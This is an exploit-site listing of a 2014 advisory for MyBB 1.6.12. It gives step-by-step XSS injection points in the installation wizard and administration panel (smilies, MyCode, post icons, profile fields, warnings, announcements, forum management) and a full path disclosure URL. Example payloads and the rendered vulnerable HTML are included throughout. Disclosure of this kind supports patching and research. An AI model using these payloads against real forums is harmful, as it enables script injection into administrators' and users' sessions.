Advertisement
CVE | Category | Price | Severity |
---|---|---|---|
N/A | CWE-79 | Not specified | High |
Author | Risk | Exploitation Type | Date |
---|---|---|---|
Not specified | High | Remote | 2014-01-11 |
CVSS | EPSS | EPSSP |
---|---|---|
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L | 0.02192 | 0.50148 |
#Title: MyBB 1.6.12 - Admin Panel FPD & Multiple XSS #Date: 01.11.2014 #Tested on: Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux #Vendor: mybb.com #Version: 1.6.12 - Latest ATM #Contant: [email protected] 1. Cross Site Scripting in Installation Wizard a) Database Configuration Fill Database Name with your JS, for example - <script>alert(666)</script> In fact, other input's are also vulnerable. While there's an error in database configuration, the alert will popup. Line 56: <li>Could not select the database '<script>alert(1)</script>'. Are you sure it exists and the specified username and password have access to it?</li> b) Table Creation If table prefix will contain JS script, it will be executed in next step (Table Creation). 2. Full Path Disclosure in Administration Panel localhost/mybb/Upload/admin/index.php?module[]= Warning [2] strpos() expects parameter 1 to be string, array given - Line: 507 - File: localhost/mybb/Upload/admin/index.php PHP 5.4.4-14+deb7u5 (Linux) Warning [2] explode() expects parameter 2 to be string, array given - Line: 509 - File: localhost/mybb/Upload/admin/index.php PHP 5.4.4-14+deb7u5 (Linux) Error's appears at line's 507 & 509. 3. Multiple Persistent Cross Site Scripting in Administration Panel a) Smiles Go to -> Edit Smilies, for example: localhost/mybb/Upload/admin/index.php?module=config-smilies&action=edit&sid=10 Now, fill image path with: images/smilies/angel.gif'';!--"/><script>alert(666)</script> Alert will appear whenever someone enter smilies configuration: localhost/mybb/Upload/admin/index.php?module=config-smilies b) MyCode Go to -> Edit My Code, for example: localhost/mybb/Upload/admin/index.php?module=config-mycode&action=edit&cid=1 Fill title and short description with <script>alert(666)</script>, alert will appear whenever someone visit: localhost/mybb/Upload/admin/index.php?module=config-mycode c) Post Icons Go to -> Post Icons, for example: mybb/Upload/admin/index.php?module=config-post_icons&action=edit&iid=7 Fill image path with: images/icons/biggrin.gif'';!--"/><script>alert(666)</script> Now, the alert will appear whenever there will be possibility to use them, like posting new thread. Examples: localhost/mybb/Upload/modcp.php?action=edit_announcement&aid=1 localhost/mybb/Upload/calendar.php?action=addevent&calendar=1&private=1 localhost/mybb/Upload/newthread.php?fid=2 d) Find Users First, create custom profile field with JS code or whatever, like '';!--"<XSS>=> at: localhost/mybb/Upload/admin/index.php?module=config-profile_fields Then, goto: localhost/mybb/Upload/admin/index.php?module=user-users&vid=1 XSS appears at lines 167 & 168: <td class="first" style="" id="profile_field_fid3"><label>'';!--"<XSS>=</label> <div class="description">'';!--"<XSS>=</div> e) Warning System Go to Warning System, then 'Add New Warning Type': localhost/mybb/Upload/admin/index.php?module=config-warning&action=add_type Fill warning's title with: <script>alert(666)</script> f) Annoucments As administrator or moderatore, create new annoucment: localhost/mybb/Upload/admin/index.php?module=forum-announcements&action=edit&aid=1 Fill message with your code, for example: '';!--"<XSS>=&{()} Now, visit your annoucment: localhost/mybb/Upload/announcements.php?aid=1 As you can see, brackets are not filtered: <div class="post_body" id="pid_"> '';!--"<XSS>=&{()}`1 </div> g) Forum Managment Go to Forum Managment: localhost/mybb/Upload/admin/index.php?module=forum-management&action=edit&fid=2 Fill Title, Description and Rules with its title (Remember to change display method) with your code, for example - '';!--"<XSS>=&{()}. Firstly, XSS will appear in: localhost/mybb/Upload/admin/index.php?module=forum-management <td class="first" style=""><div style="padding-left: 40px;"><a href="index.php?module=forum-management&fid=2">My Forum'';!--"<XSS>=&{()}</a><br /><small>'';!--"<XSS>=&{()}</small></div></td> Now, display the forum: localhost/mybb/Upload/forumdisplay.php?fid=2 There's XSS at lines: 133 - <strong>My Forum'';!--"<XSS>=&{()}</strong> 93 - <span class="active">My Forum'';!--"<XSS>=&{()}</span> 108 - <td class="thead"><strong>'';!--"<XSS>=&{()}</strong></td> 111 - <td class="trow1"><span class="smalltext">'';!--"<XSS>=&{()}</span></td>
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.